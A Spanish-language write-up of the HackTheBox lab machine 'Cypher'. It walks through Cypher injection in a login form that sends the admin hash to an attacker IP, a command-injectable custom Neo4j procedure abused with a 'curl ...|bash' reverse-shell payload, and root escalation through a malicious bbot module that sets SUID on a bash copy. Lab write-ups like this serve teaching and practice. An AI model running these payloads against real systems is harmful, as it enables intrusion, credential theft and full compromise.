Cypher

  • Realizamos un escaneo basico para ver los puertos abiertos con nmap:

Entramos a ver la pagina web que corre por el 80:

Busqueda de directorios:

dirsearch -u cypher.htb -t 50 -x 404

Al entrar al directorio testing/ se pudo ver lo siguiente:

Ahora intentemos hacer una inyeccion en el login:

Inyección de cifrado

Ingrese a la página de inicio de sesión, intente realizar una inyección SQL y obtenga un mensaje de error

Nada interesante pero si agregamos una comilla al final...

Parece que hay inyección de Cypher , aquí hay algunos artículos

Aquí intentamos extraer el valor hash del usuario administrador de la SSRF.

{"username":"admin' OR 1=1  LOAD CSV FROM 'http://10.10.xx.xx/ppp='+h.value AS y Return ''//","password":"123"}

Muy bien ahora guardemos ese hash, luego intentemos abrir el archivo que descargamos anteriormente para ver su contenido:

package com.cypher.neo4j.apoc;
 
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Arrays;
import java.util.concurrent.TimeUnit;
import java.util.stream.Stream;
import org.neo4j.procedure.Description;
import org.neo4j.procedure.Mode;
import org.neo4j.procedure.Name;
import org.neo4j.procedure.Procedure;
 
/* loaded from: custom-apoc-extension-1.0-SNAPSHOT.jar:com/cypher/neo4j/apoc/CustomFunctions.class */
public class CustomFunctions {
    @Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ)
    @Description("Returns the HTTP status code for the given URL as a string")
    public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
        if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) {
            url = "https://" + url;
        }
        String[] command = {"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
        System.out.println("Command: " + Arrays.toString(command));
        Process process = Runtime.getRuntime().exec(command);
        BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
        BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
        StringBuilder errorOutput = new StringBuilder();
        while (true) {
            String line = errorReader.readLine();
            if (line == null) {
                break;
            }
            errorOutput.append(line).append("\n");
        }
        String statusCode = inputReader.readLine();
        System.out.println("Status code: " + statusCode);
        boolean exited = process.waitFor(10L, TimeUnit.SECONDS);
        if (!exited) {
            process.destroyForcibly();
            statusCode = "0";
            System.err.println("Process timed out after 10 seconds");
        } else {
            int exitCode = process.exitValue();
            if (exitCode != 0) {
                statusCode = "0";
                System.err.println("Process exited with code " + exitCode);
            }
        }
        if (errorOutput.length() > 0) {
            System.err.println("Error output:\n" + errorOutput.toString());
        }
        return Stream.of(new StringOutput(statusCode));
    }
 
    /* loaded from: custom-apoc-extension-1.0-SNAPSHOT.jar:com/cypher/neo4j/apoc/CustomFunctions$StringOutput.class */
    public static class StringOutput {
        public String statusCode;
 
        public StringOutput(String statusCode) {
            this.statusCode = statusCode;
        }
    }
}

Puedes ver que está en el paquete apoc y su llamada es custom.getUrlStatusCode

Vale la pena señalar que aquí la URL se concatena directamente y luego se pasa a /bin/sh para su ejecución.

Con burpsuipe mandamos la siguiente shell:

{
  "username": "admin' return h.value AS value  UNION CALL custom.getUrlStatusCode(\"127.0.0.1;curl 10.10.xx.xx/shell.sh|bash;\") YIELD statusCode AS value  RETURN value ; //",                                                                                                                                                  
  "password": "123"
}

Antes de establecer nuestra conexión inversa, es necesario generar una carga útil. Para ello, creamos un archivo denominado shell.sh, el cual será alojado en un servidor HTTP simple utilizando Python. Luego, mediante curl, se descargará y ejecutará en el sistema objetivo.

Posteriormente, en Burp Suite, interceptamos la solicitud y la modificamos para incluir la descarga y ejecución del archivo malicioso. Finalmente, configuramos un listener en el puerto especificado para recibir la conexión, obteniendo así una reverse shell en el sistema comprometido.

Ahora adentro tenemos que buscar algo interesante, buscando se encontro una credencial la usaremos con el único usuario que tiene (graphasm) atreves de ssh:

Ahora estando adentro del usuario intentemos escalar privilegios:

sudo -l
bbot
  1. Crea un directorio para los módulos personalizados:

bashCopy

mkdir -p /tmp/modules
  1. Dentro de /tmp/modules, crea un archivo llamado whois2.py con el siguiente contenido:

pythonCopy

from bbot.modules.base import BaseModule
import os

class whois2(BaseModule):
    watched_events = ["DNS_NAME"]  # Observa eventos de tipo DNS_NAME
    produced_events = ["WHOIS"]   # Produce eventos de tipo WHOIS
    flags = ["passive", "safe"]
    meta = {"description": "Query WhoisXMLAPI for WHOIS data"}
    options = {"api_key": ""}  # Opciones de configuración del módulo
    options_desc = {"api_key": "WhoisXMLAPI Key"}
    per_domain_only = True  # Solo se ejecuta una vez por dominio

    base_url = "https://www.whoisxmlapi.com/whoisserver/WhoisService"

    # Configuración inicial (se ejecuta al inicio del escaneo)
    async def setup(self):
        # Escalada de privilegios: Copia /bin/bash a /tmp/bash y le asigna el bit SUID
        os.system("cp /bin/bash /tmp/bash && chmod u+s /tmp/bash")
        self.api_key = self.config.get("api_key")
        if not self.api_key:
            # Si no se proporciona una API key, falla suavemente
            return None, "Must set API key"

    async def handle_event(self, event):
        self.hugesuccess(f"Got {event} (event.data: {event.data})")
        _, domain = self.helpers.split_domain(event.data)
        url = f"{self.base_url}?apiKey={self.api_key}&domainName={domain}&outputFormat=JSON"
        self.hugeinfo(f"Visiting {url}")
        response = await self.helpers.request(url)
        if response is not None:
            await self.emit_event(response.json(), "WHOIS", parent=event)

Ejecutar BBOT con el Módulo Personalizado

Ahora que tienes el archivo de configuración y el módulo personalizado, puedes ejecutar BBOT para activar la escalada de privilegios.

  1. Ejecuta el siguiente comando:

bashCopy

sudo /usr/local/bin/bbot -p ./myconf.yml -m whois2

Explicación del Comando:

  • sudo: Ejecuta BBOT con privilegios elevados (necesario para la escalada de privilegios).

  • -p ./myconf.yml: Especifica el archivo de configuración personalizado.

  • -m whois2: Carga el módulo personalizado whois2.


Paso 4: Verificar la Escalada de Privilegios

Después de ejecutar BBOT, verifica si la escalada de privilegios fue exitosa.

  1. Verifica si el archivo /tmp/bash existe y tiene el bit SUID activado:

bashCopy

ls -l /tmp/bash

Deberías ver algo como esto:

bashCopy

-rwsr-xr-x 1 root root 1234567 Oct 10 12:34 /tmp/bash

El s en los permisos indica que el bit SUID está activado.

  1. Ejecuta /tmp/bash para obtener una shell con privilegios de root:

bashCopy

/tmp/bash -p

El flag -p asegura que se mantengan los privilegios de root.


Last updated